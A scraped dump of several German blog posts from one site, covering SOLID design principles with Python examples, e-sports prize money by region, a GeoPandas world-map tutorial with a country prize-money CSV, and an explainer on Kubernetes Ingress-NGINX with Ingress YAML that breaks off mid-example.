rc.height = 10 expected = int(w*10) print(f\u0026#34;Expected an area of {expected}, got {rc.area}\u0026#34;) rc = Rectangle(2,3) test(rc) sq = Square(5) test(sq) Expected an area of 20, got 20\rExpected an area of 50, got 100 Nicht gut!\nProblem Was ist falsch gelaufen? Das Ändern der Höhe hat beim Quadrat den Seiteneffekt, dass gleichzeitig auch die Breite verändert wird. Ob das gewollt ist, sei mal dahin gestellt.\nIn jedem Fall weiß unsere test() Funktion nichts davon. Diese wundert sich nur warum auf einmal Käse rauskommt, obwohl Square eigentlich ein Rectangle sein sollte. Hier wurde gegen das Lizkovsche Substitutionsprinzip verstoßen.\nLösung Wie macht man es besser? Ehrlich gesagt braucht man hier gar keine Quadratklasse, weil ein Quadrat nur eine spezielle Form eines Rechtecks ist.\nFalls man unbedingt möchte, kann man natürlich eine Quadrat-Flag setzen, sobald die Höhe und die Breite gleich sind. Zum Erstellen eines Quadrats könnte man eine eigene Quadrat-Factory-Methode verwenden die ein Rechteck mit gleichen Seitenlängen zurückgibt.\nAuf jeden Fall sollte man beim Erben vermeiden die Setter von Rectangle zu überschreiben. Genau das ist der Grund, der am Ende zu dieser Problematik führt.\nInterface Segregation Principle (ISP) “Clients should not be forced to depend upon interfaces that they do not use.” – Robert C. Martin: The Interface Segregation Principle\nDas vierte Prinzip ist das Interfacetrennungsprinzip. Dabei ist die Idee, dass du nicht zu viele Elemente in ein Interface packst.\nBeispiel In diesem Beispiel planen wir eine Beschreibung für Geräte die Faxen, Drucken und Scannen können sollen. Eine Idee wäre alle drei Funktionen in ein und demselben Interface zu halten. Dann können die Clienten dieses Interface so implementieren wie sie es brauchen.\nfrom abc import ABC class Machine(ABC): @abstractmethod def print(self, document): pass @abstractmethod def fax(self, document): pass @abstractmethod def scan(self, document): pass Für Multifunktionsdrucker ist dieses Interface Ideal.\nclass MultiFunctionPrinter(Machine): def print(self, document): print(\u0026#34;Printing . . .\u0026#34;) def fax(self, document): print(\u0026#34;Faxing . . .\u0026#34;) def scan(self, document): print(\u0026#34;Scanning . . .\u0026#34;) Problem Für alte Drucker die nicht scannen und faxen können ist die Lösung nicht so ideal.\nclass OldFashionedPrinter(Machine): def print(self, document): print(\u0026#34;Printing . . .\u0026#34;) def fax(self, document): raise NotImplementedError(\u0026#34;Printer can not fax!\u0026#34;) def scan(self, document): raise NotImplementedError(\u0026#34;Printer can not scan!\u0026#34;) Falls man das so umsetzt, wird jeder der die OldFashionedPrinter Klasse sieht auch die fax und scan Funktionen sehen. Demzufolge werden zukünftige Entwickler früher oder später in den NotImplemented Error laufen.\nNicht gut!\nLösung Wie macht man das besser? Ganz einfach: Beim Interfacetrennungsprinzip trennst du die abstrakten Methoden des Interfaces einfach auf eigene Klassen auf.\nfrom abc import ABC class Printer(ABC): @abstractmethod def print(self, document): pass class Scanner(ABC): @abstractmethod def scan(self, document): pass class Faxmachine(ABC): @abstractmethod def fax(self, document): pass Damit kannst du jetzt alle Funktionen einzeln erben.\nclass OldFashionedPrinter(Printer): def print(self, document): print(\u0026#34;Printing . . .\u0026#34;) class Photocopier(Printer, Scanner): def print(self, document): print(\u0026#34;Printing . . .\u0026#34;) def scan(self, document): print(\u0026#34;Scanning . . .\u0026#34; class MultiFunctionPrinter(Printer, Faxmachine, Scanner): def print(self, document): print(\u0026#34;Printing . . .\u0026#34;) def fax(self, document): print(\u0026#34;Faxing . . .\u0026#34;) def scan(self, document): print(\u0026#34;Scanning . . .\u0026#34;) Zusammenfassend besagt das Interface Segregation Principle einfach nur, dass du die Interfaces so klein wie möglich und so groß wie nötig halten solltest.\nDependency Inversion Principle (DIP) “A. High-level modules should not depend on low level modules. Both should depend on abstractions. B. Abstractions should not depend upon details. Details should depend upon abstractions.” – Robert C. Martin: The Dependency Inversion Principle\nDas Prinzip der Abhängigkeitsinversion besagt, dass high-Level Module nicht von los-Level Modulen abhängen sollten. Stattdessen sollten beide Modultypen von denselben Abstraktionen abhängen.\nBeispiel Als Beispiel nutze ich hier ein kleines Programm das die Beziehung zwischen Eltern und Kindern speichern kann.\nfrom enum import Enum class Relationship(Enum): PARENT = 0 CHILD = 1 SIBLING = 2 class Person: def __init__(self, name): self.name = name class Relationships: def __init__(self): self.relations = [] def add_parrent_and_child(self, parent, child): self.relations.append( (parent, Relationship.PARENT, child) ) self.relations.append( (child, Relationship.CHILD, parent) ) Dies soll unser low-Level Modul sein.\nJetzt kommt noch ein high-Level Modul zum Suchen dazu.\nclass Research: def __init__(self,relationships): relations = relationships.relations for r in relations: if r[0].name == \u0026#34;John\u0026#34; and r[1] == Relationship.PARENT: print(f\u0026#34;John has a child called {r[2].name}.\u0026#34;) Dieses Gebilde kann wie folgt genutzt werden.\nparent = Person(\u0026#34;John\u0026#34;) child1 = Person(\u0026#34;Chris\u0026#34;) child2 = Person(\u0026#34;Matt\u0026#34;) relationships = Relationships() relationships.add_parent_and_child(parent, child1) relationships.add_parent_and_child(parent, child2) Research(relationships) John has a child called Chris.\rJohn has a child called Matt. Nicht gut!\nProblem Warum soll das schlecht sein?\nWas hier passiert ist das ein high-Level Modul auf ein low-Level Modul - nämlich den Speichermechanismus - zugreift.\nSobald sich jetzt irgendetwas an dem low-Level Modul ändert, würde das high-Level Modul nicht mehr funktionieren. Zum Beispiel könnte man sich Entscheiden die Relationships zukünftig in einem Dictionary, anstatt in einer Liste zu speichern. Dann funktioniert das high-Level Modul nicht mehr da es eine Liste erwartet.\nLösung Die Klasse Research sollte nicht von der konkreten Implementation abhängig sein. Idealerweise hängt es auf eine Abstraktion derselben ab. Dazu definieren wir jetzt eine neue RelationshipBrowser Klasse das die Funktion der früheren Research Klasse übernimmt. Anschließend verändern wir die Relationships Klasse, sodass diese vom RelationshipBrowser erbt.\nfrom abc import ABC class RelationshipBrowser(ABC): @abstractmethod def find_all_children_of(self, name): for r in self.relations: if r[0].name == name and r[1] == Relationship.PARRENT: yield r[2].name class Relationships(RelationshipBrowser): #low-level def __init__(self): self.relations = [] Der Rest bleibt wie oben. Nur die high-Level Research Klasse muss noch angepasst werden.\nclass Research: #high-level def __init__(self, browser): for p in browser.find_all_children_of(\u0026#34;John\u0026#34;): print(f\u0026#34;John has a child called {p}.\u0026#34;) parent = Person(\u0026#34;John\u0026#34;) child1 = Person(\u0026#34;Chris\u0026#34;) child2 = Person(\u0026#34;Matt\u0026#34;) relationships = Relationships() relationships.add_parent_and_child(parent, child1) relationships.add_parent_and_child(parent, child2) John has a child called Chris.\rJohn has a child called Matt. Warum ist das besser?\nJetzt können wir die low-Level Methoden und Klassen nach Belieben verändern. Zum Beispiel könnten wir die Speicherung nicht nur in einer Liste, sondern sogar in einer SQL Datenbank umsetzen. Das high-Level Modul würde davon nichts mitbekommen und weiterhin funktionieren, solange die low-Level Module der Interfacedefinition treu bleibt.\nDie Benutzung bleibt identisch.\nHigh-Level Module benutzen Funktionalitäten von anderen Klassen und sind Hardware fern Low-Level Modul verwalten Dinge wie den Speicher oder andere Hardwarenahe Themen ","permalink":"https://quisl.de/b/die-5-solid-designprinzipien-mit-python-beispielen/","summary":"Lesbare Funktionen, Methoden und Klassen schreiben zu können ist eine Sache. Aber wie bekommst du deinen Code wartbar, flexibel erweiterbar und testbar hin?\nIn diesem Beitrag geht es um die S.O.L.I.D Designprinzipien. Wobei SOLID für die Anfangsbuchstaben der folgenden beliebten Designprinzipien für objektorientierte Softwareentwicklung stehen:\nSingle Responsibility Principle 2) Open/Closed Principle 3) Liskov Substitution Principle 4) Interface Segregation Principle 5) Dependency Inversion Principle Diese Prinzipien wurden übrigens von Robert C. Martin entworfen und in seinen Büchern vorgestellt:","title":"Die 5 SOLID Designprinzipien mit Python Beispielen"},{"content":"Die Markteinnahmen aus dem E-Sport betragen laut einer Statistik auf statista.com über eine Milliarde USD. Darüber hinaus werden sie voraussichtlich bis zum Jahr 2024 auf über 1,5 Milliarden USD anwachsen.\nDiese Summe beinhaltet Geld durch Sponsorenverträge, Werbeeinnahmen, Medienrechte, Verlagsgebühren, Streaming sowie Verkauf von Merchandise, Tickets und digitaler Güter. Trotz der wachsenden Monetarisierung steht nach wie vor der Wettkampf im Vordergrund. Dabei treffen Spieler aus aller Welt zusammen, um gemeinsam einen Sieger zu küren. Gerade solche internationalen Veranstaltungen gehören mitunter zu den besten Errungenschaften eines jeden Sports.\nIn diesem Beitrag möchte ich unterschiedliche Regionen im E-Sport anhand der gewonnenen Preisgelder vergleichen, um die erfolgreichsten von ihnen zu küren.\nWo gibt es die meisten Preisgelder Im E-Sport werden Turniere bei den bekannten Spielen üblicherweise mit Preisgeldern dotiert. Dabei war das bisher höchstdotierte das Dota 2 Turnier \u0026ldquo;The International 2019\u0026rdquo;. Dafür wurden 34.330.069 $ als Preisgelder ausgezahlt.\nLaut esportsearnings.com wurden bisher die meisten Preisgelder bei den Spielen Dota 2, Counterstrike: Global Offensive, Fortnite, League of Legends und Starcraft 2, PLAYERUNKNOWN’S BATTLEGROUNDS, Overwatch, Hearthstone, Arena of Valor und Heroes of the Storm ausgeschüttet.\nWelche Regionen gewinnen die meisten Preisgelder? Die Webseite esportsearnings.com führt eine Liste aller Turniere, Spieler und wer auf welchen Turnieren wie viel Preisgeld gewonnen hat. Darüber hinaus führt die Webseite zu jedem Spieler auch noch eine regionale Zugehörigkeit. Wenn man die gewonnenen Preisgelder aller Spieler derselben Region aufaddiert, erhält man das Preisgeld der ganzen Region.\nPreisgelder für ganze Regionen\nHier die vorderen Plätze bei gewonnenem Preisgeld für Regionen in Summe.\nRank Region Gewonnene Preisgelder in USD 1 Vereinigte Staaten von Amerika 165.499.322 2 China 127.045.793 3 Südkorea 99.927.439 4 Schweden 40.018.508 5 Dänemark 39.648.306 6 Frankreich 32.621.027 7 Russland 31.139.007 8 Kanada 29.873.091 9 Deutschland 29.008.052 10 Finnland 26.269.125 Wo ist der Anteil an guten Spielern besonders hoch? Allerdings sind einige Regionen wie China oder die USA deutlich größer als andere wie Dänemark oder Schweden. Um darüber hinaus herauszufinden in welcher Region der Anteil guter Spieler besonders hoch ist habe ich die Preisgelder noch durch die Bevölkerungsgröße geteilt.\nNachfolgend das Ergebnis für die ersten Plätze.\nRank Region Gewonnene Preisgelder in USD 1 Dänemark 7,07 2 Finland 4,78 3 Schweden 4,02 4 Estland 3,38 5 Macau (Sonderverwaltungszone) 2,63 6 Südkorea 1,95 7 Norwegen 1,61 8 Bulgarien 1,12 9 Falklandinseln 1,02 10 Kanada 0,84 Der durchschnittliche Däne hat also 7,07 $ als Preisgeld abgesahnt. Nachfolgend nochmal die oberen 50 Regionen als Infografik.\nPreisgelder der Regionen im Verhältnis zur Bevölkerung.\nWie du solche Karten erstellst habe ich in dir im vorherigen Beitrag gezeigt.\nWas sind die größten Gamingmärkte? Die Gaming Märkte sind natürlich größer als die reinen E-Sport Märkte. Trotzdem geben sie einen guten Überblick über die Videospiellandschaft. Das Magazin Newzoo hat die größten Videospielmärkte ermittelt.\nRank Region Gewonnene Preisgelder in USD 1 China 907.5M 2 Vereinigte Staaten von Amerika 283.9M 3 Japan 101.5M 4 Südkorea 51.3M 5 Deutschland 83.8M 6 Vereinigtes Königreich 67.9M 7 Frankreich 65.3M 8 Kanada 37.7M 9 Italien 60.5M 10 Spanien 46.8M Fazit Nachdem ich mir vor allem diese letzte Tabelle angeschaut wurde mir klar, warum sich die E-sportgewinne auf wenige Hubs fokussieren:\nNordamerika Europa Ostasien Speziell in diesen Hubs gibt es große Gaming Märkte. Deswegen gibt es auch hauptsächlich hier große E-Sport Turniere.\nJemand der in Südafrika oder im Iran lebt wird wahrscheinlich eine höhere Hemmschwelle haben an einem Turnier teilzunehmen, wenn er dafür extra in ein anderes Land zu fliegen muss, als jemand, der in Seoul, Vancouver oder gar Malmö wohnt und einfach nur ein paar Stationen mit der Bahn fahren muss. Wenngleich es auch dotierte online Turniere gibt, sind die höchstdotierten Turniere - nicht zuletzt um die Nutzung von Cheats auszuschließen - nach wie vor offline.\nTrotzdem geben diese Statistiken einen guten Überblick darüber wo E-Sport gefördert, oder zumindest gesellschaftlich anerkannt wird.\nAnmerkung: In diesem Beitrag spreche ich von Regionen und nicht von Nationen oder Ländern, da es einige umstrittene Gebiete gibt. Beispielsweise die Krim, Taiwan, Hongkong, Macau, Kosovo und noch viele mehr. So versuche ich niemanden an den Karren zu fahren.\n","permalink":"https://quisl.de/b/hier-leben-die-besten-e-sportler-preisgelder-pro-einwohner-vergleich/","summary":"Die Markteinnahmen aus dem E-Sport betragen laut einer Statistik auf statista.com über eine Milliarde USD. Darüber hinaus werden sie voraussichtlich bis zum Jahr 2024 auf über 1,5 Milliarden USD anwachsen.\nDiese Summe beinhaltet Geld durch Sponsorenverträge, Werbeeinnahmen, Medienrechte, Verlagsgebühren, Streaming sowie Verkauf von Merchandise, Tickets und digitaler Güter. Trotz der wachsenden Monetarisierung steht nach wie vor der Wettkampf im Vordergrund. Dabei treffen Spieler aus aller Welt zusammen, um gemeinsam einen Sieger zu küren.","title":"Hier leben die besten E-Sportler - Preisgelder pro Einwohner Vergleich"},{"content":"GeoPandas ist ein Modul für Python das die Arbeit mit Visualisierung und Grafiken vereinfacht.\nEs baut dabei auf die Datentypen von pandas auf und erweitert diese um räumliche Operationen an geometrischen Typen. Dazu wird auf Bibliotheken wie shapely, fiona und matplotlib zurückgegriffen. GeoPandas verbindet diese Tools und bietet so eine Programmierschnittstelle auf einer high-Level-Ebene.\nIn diesem Tutorial zeige ich dir wie du GeoPandas installierst und für ein einfaches Datenvisualisierungsprojekt - bei dem die Länder auf einer Weltkarte anhand der E-Sport-Preisgelder von Spielern aus dem jeweiligen Land eingefärbt werden - benutzt.\nSchritt #1 Installiere GeoPandas Viele Wege führen nach Rom. Manche führen auch zu einer Installation von GeoPandas. Zwei Wege wie du GeoPandas installierst, werde ich dir vorstellen.\nWeg 1: GeoPandas mit Anaconda/Miniconda installieren Installationsanweisungen für Anaconda findest du auf der Webseite des Projekts. Nach der Installation hast du auch das conda Programm auf deinem Computer installiert. Hiermit lassen sich - ähnlich wie mit pip - weitere Pakete installieren.\nJetzt kannst du Geopandas und alle Abhängigkeiten mit conda installieren.\nconda install geopandas Für schönere Grafiken solltest du auch noch matplotlib und mapclassify installieren.\nconda install matplotlib conda install mapclassify Weg 2: GeopPandas mit Pip installieren Alternativ dazu lassen sich die Abhängigkeiten natürlich auch manuell installieren. Anschließend kannst du GeoPandas auch mit Pip installieren.\nUm die Abhängigkeiten auf Windows zum laufen zu bringen musst du zunächst folgende Dateien von Christoph Gohlke / University of California herunterladen:\nShapely GDAL Rtree pyproj Fiona Für GDAL brauchst du auf Windows die Microsoft Visual C++ Build Tools v142. Die kannst du mit dem Visual Studio Installer von Microsoft installieren.\nAnschließend kannst du die heruntergeladenen Wheel-Pakete installieren.\npip install wheel pip install Fiona-1.8.19-cp39-cp39-win_amd64.whl pip install Shapely-1.7.1-cp39-cp39-win_amd64.whl pip install Rtree-0.9.7-cp39-cp39-win_amd64.whl pip install pyproj-3.0.1-cp39-cp39-win_amd64.whl pip install geopandas Für schönere Grafiken solltest du auch noch matplotlib und mapclassify installieren.\npip install matplotlib pip install mapclassify Schritt #2 Installiere das Kartenmaterial Als Basis für Projekte mit Weltkarten brauchst du natürlich eine Weltkarte. Außerdem musst du GeoPandas sagen, wo auf der Karte welches Land liegt. Glücklicherweise haben schon andere Menschen genau diese Arbeit für dich übernommen.\nZum einen gibt es Karten die bereits in Geopandas integriert sind. Eine dieser Karten lässt sich mit folgendem Code einlesen.\nimport geopandas gdf = geopandas.read_file(geopandas.datasets.get_path(\u0026#39;naturalearth_lowres\u0026#39;)) gdf.plot() Dieser Datensatz ist - wie der Name schon vermuten lässt - nicht sehr hoch aufgelöst. Es fehlen einige kleine Länder wie zum Beispiel Singapur.\nDatensätze mit höherer Auflösung kannst du beim public domain Projekt naturalearthdata.com herunterladen.\nFür dieses Projekt habe ich mich für Medium scale data, 1:50m \u0026ndash;\u0026gt; Cultural \u0026ndash;\u0026gt; Admin 0 - Countries entschieden. Dieses musst du in deinen Projektordner entpacken und schon kannst du mit Python darauf zugreifen.\nimport geopandas shapefile = r\u0026#34;mapfiles\\countries\\ne_50m_admin_0_countries.shp\u0026#34; gdf = geopandas.read_file(shapefile)[ [\u0026#34;ADMIN\u0026#34;, \u0026#34;ADM0_A3\u0026#34;, \u0026#34;geometry\u0026#34;, \u0026#34;POP_EST\u0026#34;] ] Schritt #3 Präpariere die Rohdaten Für dieses Beispiel will ich eine Karte haben, die Preisgelder aus dem E-Sport anzeigt. Die Rohdaten hierzu habe ich von esportsearnings.com heruntergeladen und in eine CSV (hier semicolon separated) Datei geschrieben.\nUm diese Daten mit der Karte von Naturalearthdata zu verbinden, musste ich noch eine Spalte mit ISO Country Codes hinzufügen. Dies ist mühsame Arbeit und kommt bei fast allen Data Science und Data Analytics Projekten vor.\nUSA;United States;165427090\rCHN;China;127035376\rKOR;Korea, Republic of;99904605\rSWE;Sweden;40011972\rDNK;Denmark;39609229\rFRA;France;32621027\rRUS;Russian Federation;31139007\rCAN;Canada;29873091\rDEU;Germany;29008052\rFIN;Finland;26269125\rGBR;United Kingdom;23192694\rBRA;Brazil;22308144\rAUS;Australia;18218456\rUKR;Ukraine;16600569\rPOL;Poland;15057102\rTWN;Taiwan, Republic of;12235319\rJPN;Japan;10697051\rNLD;Netherlands;10307609\rMYS;Malaysia;10263513\rPHL;Philippines;9039836\rNOR;Norway;8551531\rTHA;Thailand;8141558\rBGR;Bulgaria;7979555\rJOR;Jordan;6816906\rESP;Spain;6690313\rVNM;Viet Nam;4751742\rLBN;Lebanon;4467585\rTUR;Turkey;4408552\rPAK;Pakistan;4321837\rEST;Estonia;4226763\rAUT;Austria;3949509\rSGP;Singapore;3933302\rARG;Argentina;3828150\rROU;Romania;3720056\rITA;Italy;3650439\rISR;Israel;3471858\rBEL;Belgium;3327065\rHKG;Hong Kong;3160220\rMEX;Mexico;2982098\rKAZ;Kazakhstan;2868810\rIDN;Indonesia;2712964\rCZE;Czech Republic;2671262\rSAU;Saudi Arabia;2570690\rBLR;Belarus;2399602\rPER;Peru;2396587\rSVK;Slovakia;2169438\rCHE;Switzerland;1828872\rPRT;Portugal;1790063\rGRC;Greece;1767980\rMAC;Macao;1583511\rNZL;New Zealand;1561816\rLTU;Lithuania;1240053\rSVN;Slovenia;1190350\rBIH;Bosnia and Herzegovina;1169045\rMKD;Macedonia, The Former Yugoslav Republic of;1142826\rCHL;Chile;1105297\rHRV;Croatia;1084631\rHUN;Hungary;1083067\rSRB;Serbia;1029757\rZAF;South Africa;970373\rLVA;Latvia;968605\rIND;India;964439\rIRL;Ireland;824712\rUZB;Uzbekistan;665682\rMNG;Mongolia;560428\rKGZ;Kyrgyzstan;492843\rDOM;Dominican Republic;438139\rCOL;Colombia;390282\rARE;United Arab Emirates;344930\rARM;Armenia;340283\rURY;Uruguay;305496\rPRI;Puerto Rico;284497\rBOL;Bolivia;283171\rMDA;Moldova, Republic of;272798\rTUN;Tunisia;225975\rIRN;Iran, Islamic Republic of;209404\rISL;Iceland;179581\rAZE;Azerbaijan;173904\rVEN;Venezuela;167643\rEGY;Egypt;165020\rMAR;Morocco;156179\rMNE;Montenegro;152671\rIRQ;Iraq;145933\rMLT;Malta;145118\rAFG;Afghanistan;144724\rKWT;Kuwait;104905\rCUB;Cuba;94216\rGEO;Georgia;90125\rDZA;Algeria;89534\rALB;Albania;86571\rBHR;Bahrain;75607\rCRI;Costa Rica;73413\rLUX;Luxembourg;49598\rSYR;Syrian Arab Republic;49553\rKHM;Cambodia;43146\rPAN;Panama;43046\rKOS;Kosovo, Republic of;42286\rLAO;Lao People\u0026#39;s Democratic Republic;39225\rGTM;Guatemala;36621\rNPL;Nepal;35154\rNIC;Nicaragua;30938\rBGD;Bangladesh;30610\rECU;Ecuador;29655\rQAT;Qatar;24192\rETH;Ethiopia;23669\rOMN;Oman;20970\rPSX;Palestinian Territory, Occupied;20836\rMMR;Myanmar;19773\rLKA;Sri Lanka;16669\rPRY;Paraguay;13679\rFRO;Faroe Islands;9525\rGRL;Greenland;8825\rSLV;El Salvador;6709\rBRN;Brunei Darussalam;6636\rMUS;Mauritius;5355\rYEM;Yemen;3840\rNCL;New Caledonia;3412\rFLK;Falkland Islands;2987\rGHA;Ghana;2808\rMCO;Monaco;2301\rHND;Honduras;1836\rZMB;Zambia;1635\rKEN;Kenya;1632\rCYP;Cyprus;1577\rTTO;Trinidad and Tobago;1138\rAND;Andorra;940\rSEN;Senegal;750\rGUY;Guyana;700\rMDG;Madagascar;458\rJAM;Jamaica;377\rMNP;Northern Mariana Islands;300\rBHS;Bahamas;263\rBLZ;Belize;250\rPYF;French Polynesia;245\rTKM;Turkmenistan;220\rBMU;Bermuda;200\rMDV;Maldives;121\rGGY;Guernsey;100\rIMN;Isle of Man;75\rJEY;Jersey;60\rLIE;Liechtenstein;56\rSUR;Suriname;56\rMAF;Saint Martin;50\rKNA;Saint Kitts and Nevis;20\rABW;Aruba;14\rBLM;Saint-Barthélemy;7 Schritt #4 Plotte den Graphen Jetzt wo alle Vorbereitungen abgeschlossen sind kannst du mit dem eigentlichen Programmieren beginnen. In diesem Beispiel habe ich die Antarktis entfernen, um Platz zu sparen.\nHier nochmal der komplette Code:\n# Bibliotheken importieren import geopandas import pandas import matplotlib.pyplot as plt # Karte einlesen shapefile = r\u0026#34;mapfiles\\countries\\ne_50m_admin_0_countries.shp\u0026#34; gdf.columns = [\u0026#34;country_code\u0026#34;, \u0026#34;geometry\u0026#34;] #Antarktis entfernen gdf = gdf[gdf.name != \u0026#34;Antarctica\u0026#34;] # Preisgelder einlesen earningsdf = pandas.read_csv( \u0026#34;data.csv\u0026#34;, sep=\u0026#34;;\u0026#34;, names=[\u0026#34;code\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;pricemoney\u0026#34;] ) # Preisgelder in Karte integrieren merged = gdf.merge( earningsdf, left_on=\u0026#34;country_code\u0026#34;, right_on=\u0026#34;code\u0026#34;, how=\u0026#34;left\u0026#34; ) # Nicht genannte Länder auf 0 $ setzen merged[\u0026#34;pricemoney\u0026#34;] = merged[\u0026#34;pricemoney\u0026#34;].fillna(0) # Plotten fig, ax = plt.subplots(1, figsize=(15, 15)) p = merged.plot( column=\u0026#34;pricemoney\u0026#34;, legend=True, ax=ax, cmap=\u0026#34;OrRd\u0026#34;, scheme=\u0026#34;FisherJenks\u0026#34;, legend_kwds={ \u0026#34;loc\u0026#34;: \u0026#34;lower left\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;Price money in USD\u0026#34;, }, ) # Hintergrundfarbe setzen p.set_facecolor(\u0026#34;gray\u0026#34;) # Achsenbeschriftung entfernen ax.set_yticklabels([]) ax.set_xticklabels([]) # Grafik speichern plt.savefig(\u0026#34;pricemoneyPerCountry.jpg\u0026#34;, bbox_inches=\u0026#34;tight\u0026#34;, dpi=300) Das Scheme \u0026ldquo;FisherJenks\u0026rdquo; ist übrigens von mapClassify. Weitere Schemes findest du hier. Am besten spielst du mal mit unterschiedlichen davon herum.\nSo sieht das Endresultat aus\nFazit Die Nerven aufreibendsten Punkte waren für mich beim Recherchieren die Installation mit Pip sowie die Bereinigung der Rohdaten. Sobald das geschafft ist, lässt sich das Resultat aber gut angucken.\nVor allem für das Aussehen der Grafik kann man viel Zeit verwenden. Guckt euch dazu am besten die Dokumentationen von Matplotlib, Mapclassify und natürlich Geopandas an.\nIch habe leider noch keinen schönen Weg gefunden die Einheiten in der Legende lesbarer zu gestalten. Am besten ist es wohl, wenn man eine eigene Legende zeichnet.\nAnsonsten gibt es noch zu sagen, dass du je nach Zielgruppe mit den Karten aufpassen solltest. Nicht alle Länder werden von allen Menschen anerkannt. Kritische Gebiete sind zum Beispiel Hongkong, Kosovo, Macau, Taiwan oder die Krim.\n","permalink":"https://quisl.de/b/wie-du-weltkarten-mit-python-erstellst-geopandas-in-vier-schritten/","summary":"GeoPandas ist ein Modul für Python das die Arbeit mit Visualisierung und Grafiken vereinfacht.\nEs baut dabei auf die Datentypen von pandas auf und erweitert diese um räumliche Operationen an geometrischen Typen. Dazu wird auf Bibliotheken wie shapely, fiona und matplotlib zurückgegriffen. GeoPandas verbindet diese Tools und bietet so eine Programmierschnittstelle auf einer high-Level-Ebene.\nIn diesem Tutorial zeige ich dir wie du GeoPandas installierst und für ein einfaches Datenvisualisierungsprojekt - bei dem die Länder auf einer Weltkarte anhand der E-Sport-Preisgelder von Spielern aus dem jeweiligen Land eingefärbt werden - benutzt.","title":"Wie du Weltkarten mit Python erstellst - Geopandas Tutorial in 4 Schritten"},{"content":"Als Ingress Controller wird eine spezielle App auf deinem Kubernetescluster bezeichnet, die alle eingehenden Datenströme entgegennimmt und an deine entsprechenden internen Apps weiterleitet.\nAls \u0026ldquo;Reverse Proxy\u0026rdquo; fungiert sie quasi als Empfangsbüro für deinen Kubernetes Cluster.\nWie du mit dem Ingress Controller automatisch SSL Zertifikate bei Let\u0026rsquo;s Encrypt beantragen kannst um HTTPS zu verwenden lernst du hier.\nIn diesem Beitrag lernst du das Konzept eines Ingress Controllers kennen und wie es dir helfen kann:\nStruktur in deinen Kubernetescluster zu bringen für mehr Sicherheit zu sorgen das Managen der Zertifikate abzunehmen und sogar Kosten zu reduzieren Wozu brauchst du einen Ingress Controller Die simple Variante einen Web-Service in Kubernetes von außen erreichbar zu machen ist es, einen Loadbalancer für die jeweilige App anzulegen. Dieser kriegt dann eine eigene externe statische IP-Adresse und kann somit vom Internet erreicht werden.\nWie das geht habe ich im letzten Beitrag anhand des Hallo-Welt-Beispiels gezeigt.\nSobald du allerdings mehrere Webservices auf deinem Kubernetescluster anbieten möchtest, stehst du vor dem Problem, dass du für jeden Webservice eine eigene IP-Adresse anlegen musst. Eine statische IP-Adresse kostet bei Azure aktuell etwa 3 € im Monat.\nBei diesem Problem schafft ein Ingress Controller Abhilfe, indem alle eingehenden Datenströme zunächst über dieselbe IP geleitet und erst dort auf die Webanwendungen verteilt werden.\nDas Verteilen geschieht - je nach Ingress Controller - meist mithilfe von Ports und URL Pfaden.\nDadurch ist es dir sogar möglich wie bei einer Firewall bestimmte Teile deiner Web-Apps, wie zum Beispiel Adminoberflächen, von der Außenwelt komplett unerreichbar zu machen und dadurch ein Stück Sicherheit zu gewährleisten.\nWas ist Ingress-NGINX Die Wahl des Ingress Controllers fällt für die meisten Webseiten auf den NGINX Ingress Controller. Dieser basiert auf dem NGINX Container und wird vom offiziellen Kubernetes Team bereitgestellt.\nDem Cloud Native Computing Foundation Survey Report ist zu entnehmen, dass Ingress-NGINX mit 62 % Anteil der meistgenutzte Ingress Controller im Jahr 2020 war.\nDie Aufgabe des NGINX Ingress Controller ist es, die Ingress Regeln der jeweiligen Webapps zu interpretieren und entsprechend auszuführen. Da die Kubernetesentwickler selbst an diesem Projekt sitzen kannst du davon ausgehen, dass es auch zukünftig schnell mit den neusten Updates aus der Kubernetes Welt versorgt wird.\nNeben Ingress-NGINX gibt es auch cloudspezifische Ingress Controller.\nCloudanbieter Ingress-Controller Microsoft Azure AKS Application Gateway Ingress Controller Amazon Web Services AWS ALB Ingress Controller Google Cloud Platform GCP GLBC/GCE-Ingress Controller Diese können von Vorteil sein, wenn du deinen Kubernetes Cluster mit PaaS bzw. SaaS Ressourcen des jeweiligen Anbieters verbinden möchtest.\nIn der Kubernetes Dokumentation kannst du eine Liste von weiteren Ingress Controllern anschauen.\nFür die meisten Webseiten tut es allerdings der normale Ingress-NGINX. Vorallem, wenn du dir die Option freihalten willst irgendwann einmal zwischen Cloudplattformen zu wechseln ist er eine gute Variante.\nWie binde ich Verschlüsselung und SSL Zertifikate an Über die einfache Weiterleitung hinaus übernimmt der Ingress Controller oft auch Aufgaben wie die SSL Verschlüsselung und das automatische Erneuern eines Zertifikats.\nLetzteres macht Ingress-NGINX nicht selbst, sondern mithilfe eines Certificate Manager Controllers den du separat installieren musst.\nDie cert-manager App kannst du relativ unkompliziert mithilfe von Helm installieren.\nNachdem du in den Ingress Regeln definiert hast für welche Weiterleitung welcher Certificate Manager Controller verwendet werden soll übernimmt Ingress-NGINX das Verschlüsseln des Traffics von Externen Anfragen für dich.\nSo kannst du den internen Traffic in deiner Webapp auch unverschlüsselt entwickeln ohne Sicherheitseinbußen hinnehmen zu müssen.\nWas sind Ingress Regeln Die Regeln zur Weiterleitung funktionieren über sogenannte \u0026ldquo;Ingress\u0026rdquo; Ressourcen von Kubernetes.\nUm direkt mit einem praktischen Beispiel einzusteigen, zeige ich dir die Ingress Regel für meinen eigenen Blog. In meinem Fall nutze ich die URL quisl.de sowie die Subdomäne www.quisl.de:\nUPDATE 2022-12-16:\nnetworking.k8s.io/v1beta1 gibt es nicht mehr\u0026hellip; Du musst jetzt networking.k8s.io/v1 verwenden. Hier trotzdem beide Beispiele.\nPre 1.19:\napiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: name: wordpress-ingress annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 nginx.ingress.kubernetes.io/use-regex: \u0026#34;true\u0026#34; cert-manager.io/cluster-issuer: letsencrypt spec: tls: - hosts: - quisl.de - www.quisl.de secretName: tls-secret rules: - host: quisl.de http: paths: - backend: serviceName: wordpress servicePort: 80 path: /(.*) - host: www.quisl.de http: paths: - backend: serviceName: wordpress servicePort: 80 path: /(.*) Post 1.19:\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: wordpress-ingress annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 nginx.ingress.kubernetes.io/use-regex: \u0026#34;true\u0026#34; cert-manager.io/cluster-issuer: letsencrypt spec: tls: - hosts: - quisl.de - www.quisl.de secretName: tls-secret 